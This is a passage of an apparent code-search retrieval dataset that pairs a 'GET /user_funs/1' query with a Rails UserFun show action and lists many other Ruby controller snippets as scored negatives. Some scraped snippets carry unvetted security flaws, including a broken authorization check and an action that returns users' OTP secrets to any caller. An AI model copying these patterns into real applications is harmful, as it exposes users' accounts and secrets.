"def show\n if !current_user && params[:id] != current_user.id && current_user.is_admin == false\n \traise \"You are not authorized to access this function\"\n end\n @user = User.find(params[:id])\n respond_with(@user)\n end",
"def show \n user = User.find_by(id: session[:user_id])\n if user\n render json: user\n else \n render {error: \"Not authorized\"}, status: :unauthorized\n end\n end",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def show\n r = @api.get_user(params[:id])\n response = JSON.parse(r.body)\n if r.code == 200\n @user = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n end",
"def show\n @user=User.find(params[:id])\n if @user\n render json: @user\n else\n render json: {\"message\":\"Incorrect JWT token\"}\n end\n end",
"def show\n if current_user\n @user = User.find(params[:id])\n if (current_user.username == 'Administrator')||(current_user.username == @user.username)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n\telse\n \tredirect_to root_url, :notice => 'Uwaga! Nie masz uprawnień!'\n \tend\n else\n redirect_to :login, :notice => 'Informacja! Zaloguj się aby obejrzeć!'\n end\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def show\n\tuser_completed = @user.as_json(:only => [:id, :username, :login, :email, :guild_id, :otp_secret, :otp_required_for_login])\n\t\t\t\t\t\t.merge(guild: @user.guild, achievments: @user.achievments)\n\tif self.user_owner?\n \trender json: user_completed, status: :ok\n\telse\n \trender json: user_completed.except(:email, :otp_required_for_login), status: :ok\n\tend\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def show\n @user= set_user\n render json: @user, status: :ok\n\n end",
"def show\n @admin_admin_user = Admin::AdminUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_admin_user }\n end\n end",
"def show\n json_response(current_user.decorate, :ok)\n end",
"def index\n if not check_logged_in then\n return\n end\n @users = User.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n authorize @user\n render json: @user\n end",
"def user_list\n\t\tres = {}\n\t\tusers = User.where(\"lower(name) ~ ?\",params[:pattern].downcase)\n\t\tif users\n\t\t\tres[:status] = \"0\"\n\t\t\tres[:users] = users.pluck(:name, :email, :image)\n\t\telse\n\t\t\tres[:status] = \"1\"\n\t\tend\n\t\trender json: res\n\tend",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def index\n return permission_denied unless \\\n (params[:id].to_s == @current_user.id.to_s) || \n (params[:email].to_s == @current_user.email.to_s)\n\n @users = User.where(params.permit(:id, :email))\n\n if @users\n render status: :ok,\n json: @users.as_json\n else\n render status: :not_found,\n json: {\n error: \"Users not found\"\n }\n end\n end",
"def index\n # index not implemented - only admins may list users\n raise \"This action is not implemented\"\n end",
"def index\n @admin_functions = Admin::Function.all\n end"
] |
[
"0.67171574",
"0.67171574",
"0.6575392",
"0.63004786",
"0.6248893",
"0.6089287",
"0.60848415",
"0.60662574",
"0.60122967",
"0.59738284",
"0.5918241",
"0.5916683",
"0.59052306",
"0.5879071",
"0.5876672",
"0.58741665",
"0.5865761",
"0.5865761",
"0.5844039",
"0.5844039",
"0.5841011",
"0.58386654",
"0.58349466",
"0.57992154",
"0.5794726",
"0.5794726",
"0.57802206",
"0.57601553",
"0.5759223",
"0.5759223",
"0.57484907",
"0.5740957",
"0.5740957",
"0.5740473",
"0.57293534",
"0.5728758",
"0.5728392",
"0.5711718",
"0.56696117",
"0.5665546",
"0.5664005",
"0.5649251",
"0.5644701",
"0.56382334",
"0.56247574",
"0.5621265",
"0.56167054",
"0.5613356",
"0.5610904",
"0.56071794",
"0.560326",
"0.55939394",
"0.55864614",
"0.5583843",
"0.5579266",
"0.5565284",
"0.5563003",
"0.5559026",
"0.5549761",
"0.5548222",
"0.5544423",
"0.55409026",
"0.5540163",
"0.5540145",
"0.5537362",
"0.5535698",
"0.55337566",
"0.55325174",
"0.5529219",
"0.55291",
"0.55211914",
"0.55192304",
"0.55182815",
"0.5517619",
"0.5513718",
"0.5499392",
"0.5491571",
"0.5490894",
"0.548906",
"0.548676",
"0.54822445",
"0.547811",
"0.5474161",
"0.5469258",
"0.5464383",
"0.54593605",
"0.54582494",
"0.54582494",
"0.5458153",
"0.5451321",
"0.545058",
"0.54504514",
"0.5447418",
"0.5444772",
"0.5444764",
"0.54399216",
"0.54397917",
"0.5430335",
"0.54228854",
"0.5420841"
] |
0.6774119
|
0
|
GET /user_funs/1 GET /user_funs/1.json
|
def show
@user_fun = UserFun.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @user_fun }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @user_funs = UserFun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @user_funs }\n end\n end",
"def my_fun_list\n user_funs = UserFun.find_all_by_user_id(session[:user_id])\n @user_funs = UserFun.find_all_by_user_id(session[:user_id])\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def show\n @fun = Fun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @fun }\n end\n end",
"def fun_list\n @funs = Fun.find_funs_by_game_peclass(session[:user_id])\n @user_fun = UserFun.new\n end",
"def index\n @funs = Fun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @funs }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def index\n user_id = params[:user_id]\n user_id=current_user.user_id unless user_id.present?\n\n @fans = User.get_fans(user_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fans }\n end\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def show_list_by_user_id\n @id = current_user.id\n @userfriendships = User.find(@id).friends\n if @userfriendships.empty?\n render json: {Error: \"No friends found\"}, status: 404\n else\n render json: @userfriendships.to_json(:only => [:id, :username])\n end\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funerals }\n end\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\t\t\t\n\t\t\trender json: {friends: user.friends.each {|f| f.password = nil}}\n\t\tend\n\tend",
"def mf_api_get_user_info\n\n # Get the user from the DB\n user = User.find(params[:user_id])\n\n # If no user, return error response\n unless user\n response = {\n success: false,\n message: 'User not found'\n }\n\n render json: response and return\n end\n\n # Create User Info Response\n response = {\n success: true,\n message: 'User Info successfully retrieved',\n user_id: user.id,\n user_infusionsoft_id: user.clientid,\n user_first_name: user.first_name,\n user_last_name: user.last_name,\n user_email: user.email,\n }\n\n # Return success response\n render json: response\n\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def index\n @myusers = Myuser.all\n\n render json: @myusers\n end",
"def index\n @user = current_user\n render json: @user.friends\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def lookup\n respond_to do |format|\n format.json { render json: Core::UserLookup.new(view_context) }\n end\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"def index\n json_response(User.all) \n end",
"def show\n @factors_user = FactorsUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factors_user }\n end\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def profile\n @oneuser = User.find_by(username: params[:username]) \n profile = user_profile(@oneuser.id, @oneuser.username, @oneuser.email, @oneuser.first_name, @oneuser.last_name, @oneuser.avatar_img, @oneuser.created_at) \n render json: profile\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funeral }\n end\n end",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def show\n if params[:id].nil?\n render json: current_user,\n except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n case_cortege: {},\n cortege: {},\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n },\n funkis_application: {\n include: [\n funkis_shift_applications: {\n include: [\n funkis_shift: {\n include: [\n :funkis_category\n ],\n except: [\n :maximum_workers\n ]\n }\n ]\n }\n ],\n methods: [\n :steps_completed\n ]\n }\n },\n methods: [\n :is_lintek_member,\n :shopping_cart_count\n ]\n else\n require_admin_permission AdminPermission::LIST_USERS\n\n user = User.find(params[:id])\n if user.present?\n render json: user, include: [:funkis_application]\n else\n render :status => '404', :json => {:message => 'Användare kunde inte hittas'}\n end\n end\n end",
"def user1\n if user = User.where(\"lower(users.login) = ?\", params[:login].downcase).first\n result = {\n :id => user.id,\n :username => user.login,\n :name => user.name,\n :avatar_url => user.avatar_url,\n :location => user.location\n }\n render json: result\n else\n head :not_found\n end\n end",
"def show\n @user_function = UserFunction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_function }\n end\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show_disposisi_user\n\t\t@user = Disposisi.where(user_id: params[:user_id]).order(id: :desc).limit(20)\n\t\trender json: @user\t\n\tend",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n @fnbl_user = FnblUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fnbl_user }\n end\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def show \n user_id = params[:user_id] # get user id from request \n @calculation = Calculation.find_by(:user_id => user_id)\n json_response(@calculation) # respond with the users calculations\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def by_user\r\n tweets = Tweet.where(user_id: params[:user_id])\r\n render json: tweets\r\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def index\n @users = User.order(:idnum)\n respond_to do |format|\n format.html { render json: {:message => \"Here are the details of all #{@users.size} users.\", :users => @users }}\n end\n end",
"def index\n users = User.all\n render json: users \n end",
"def show\n users = User.all.map { |u| u.compared }\n render :json => users\n end",
"def show\n user = User.find(params[:id].to_i)\n if user\n render json: {name: user.name.split(\" \").first, fb_id: user.fb_id, id: user.id}\n else\n render json: {name: \"Invalid\", fb_id: nil, id: nil}\n end\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def my_friends\n @current_user = User.find(params[:user_id])\n render json: {\n friends: @current_user.friend.where(status: 'accept').map do |friend|\n {\n id: friend.id,\n name: User.find(friend.friend).name.upcase,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n date: friend.created_at\n }\n end\n }\n end",
"def show\n user = User.find(params[:id])\n friendships = user.followers + user.followees\n render json: {user: user, friendships: friendships}\n end",
"def show_my_disposisi\n\t\t@user = UserDisposisi.where(user_id: params[:user_id]).order(id: :desc).limit(20)\n\t\trender json: @user\t\n\tend",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n\t\t#reactivate(params[:id])\n\t\t#print(\"we are here now\")\n\t\trender json: User.find(params[:id])\n\tend",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def recent_user_name\n @user = User.find(params[:id])\n respond_to do |format|\n uname_message = {:status => \"ok\", :uname => @user.username}\n format.json {render :json => uname_message}\n end\n end",
"def users\n\t\t@recipes = Recipe.where('published = ?',1).find_by_user_id(params[:id])\n\t\trespond_with @recipes\t\n\tend",
"def index\n users = User.all\n json_response(users)\n end",
"def list\n render json: User.all\n end",
"def show\n @user = User.find(params[:id])\n if @user.phone_number != nil\n\n @user = getUserFriends(@user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n else\n redirect_to :action=>:edit, :id => @user.id\n end\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n @fun_group = FunGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fun_group }\n end\n end",
"def index\n users = User.all \n render json: users \n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n render json: User.find(params[:id])\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def userReponses\n user=User.find(params[:userId])\n render :json=> user.response\n end",
"def index\n render :json => UserInterest.all\n end"
] |
[
"0.758615",
"0.6828526",
"0.65487033",
"0.65487033",
"0.6518973",
"0.64706075",
"0.6461234",
"0.6221828",
"0.6179859",
"0.61411154",
"0.6119363",
"0.60906625",
"0.6061644",
"0.60502136",
"0.59974766",
"0.5989719",
"0.5989719",
"0.59849805",
"0.5968624",
"0.5959902",
"0.5959902",
"0.5957742",
"0.5951575",
"0.595019",
"0.59160346",
"0.5915365",
"0.59055495",
"0.59022367",
"0.5896619",
"0.5883917",
"0.58680433",
"0.583004",
"0.5829274",
"0.5827018",
"0.5822399",
"0.58211327",
"0.58110446",
"0.5805999",
"0.5800073",
"0.57764524",
"0.57717586",
"0.57670856",
"0.5766117",
"0.5750774",
"0.5747471",
"0.5746717",
"0.57352376",
"0.57350343",
"0.57286435",
"0.57260203",
"0.57218224",
"0.57140833",
"0.57140833",
"0.57140833",
"0.57140833",
"0.57140833",
"0.57140833",
"0.57140833",
"0.57075083",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5700441",
"0.5698457",
"0.5697236",
"0.5694652",
"0.56936866",
"0.56935",
"0.5693239",
"0.5691685",
"0.5691576",
"0.5691576",
"0.5691317",
"0.56898874",
"0.5688226",
"0.5686502",
"0.5686361",
"0.56858134",
"0.56858134",
"0.56858134",
"0.56858134",
"0.56851465",
"0.568059",
"0.56794333",
"0.56791115",
"0.5677914",
"0.56758225",
"0.56740385",
"0.56703705",
"0.56659424",
"0.56651825",
"0.56634945",
"0.5662938",
"0.5662912",
"0.5660915"
] |
0.7502344
|
2
|
GET /user_funs/new GET /user_funs/new.json
|
def new
@user_fun = UserFun.new
respond_to do |format|
format.html # new.html.erb
format.json { render :json => @user_fun }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @fun = Fun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @fun }\n end\n end",
"def new\n @newuser = Newuser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newuser }\n end\n end",
"def new2\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @usernew = Usernew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usernew }\n end\n end",
"def new\n @user = User.new\n @action = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = user.new\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def newent\n @user = User.new\n respond_to do |format|\n format.html # newent.html.erb\n format.json { render :json => @user }\n end\n end",
"def new\n \n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n \n end",
"def new\n @user = User.new\n @btn_text = t('users.new.btn_signup')\n @title = t('app_name') + ' | ' + t('users.new.title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end",
"def new\n p 'new called'\n @user = User.new\n\n p \"#{@user}\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @users = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n render json: @user\n end",
"def new\n @user = User.new\n render :json => @user\n end",
"def create\n @fun = Fun.new(params[:fun])\n\n respond_to do |format|\n if @fun.save\n format.html { redirect_to @fun, :notice => 'Fun was successfully created.' }\n format.json { render :json => @fun, :status => :created, :location => @fun }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end"
] |
[
"0.73716295",
"0.73560536",
"0.73407894",
"0.72152513",
"0.7164537",
"0.71468985",
"0.70103586",
"0.695236",
"0.69225395",
"0.6912087",
"0.69076306",
